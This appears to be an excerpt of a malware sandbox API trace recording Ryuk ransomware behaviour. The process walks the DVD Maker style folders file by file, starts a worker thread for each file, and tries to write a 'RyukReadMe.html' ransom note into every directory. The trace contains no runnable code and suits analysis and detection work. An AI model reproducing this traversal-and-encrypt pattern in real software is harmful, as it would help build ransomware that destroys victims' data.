	[0174.010] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0174.010] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac4
	[0174.013] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.013] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x62, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1
	[0174.013] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac8
	[0174.016] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.017] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x62, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1
	[0174.017] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xacc
	[0174.019] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.020] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1
	[0174.020] SetLastError (dwErrCode=0x0) 
	[0174.020] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.627] GetLastError () returned 0x5
	[0174.627] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0174.628] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.628] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0174.820] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.821] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0174.821] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad4
	[0174.824] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.825] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x76, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0174.825] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xad8
	[0174.827] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.827] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0174.828] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xadc
	[0174.831] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.832] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0174.832] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae0
	[0174.835] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.835] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0174.835] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae4
	[0174.838] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.838] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0174.838] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae8
	[0174.841] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.842] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0174.842] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaec
	[0174.844] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.845] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0174.845] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf0
	[0174.847] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.848] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x76, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1
	[0174.848] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.849] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf4
	[0174.851] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.851] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x76, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0
	[0174.851] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0174.853] SetLastError (dwErrCode=0x0) 
	[0174.854] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.864] GetLastError () returned 0x5
	[0174.865] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0174.865] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.865] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1
	[0174.865] SetLastError (dwErrCode=0x0) 
	[0174.865] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.865] GetLastError () returned 0x5
	[0174.865] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0174.865] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0174.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0174.869] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0174.870] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0174.870] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf8
	[0174.873] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.873] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x76, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0174.873] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xafc
	[0174.876] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.876] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x76, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1
	[0174.877] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb00
	[0174.879] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.880] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x76, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1
	[0174.880] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb04
	[0174.881] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.882] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x76, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1
	[0174.882] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb08
	[0174.885] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.886] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0174.886] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0c
	[0174.888] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.889] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0174.889] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb10
	[0174.891] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0174.892] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0174.892] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0174.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb14
	[0175.093] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
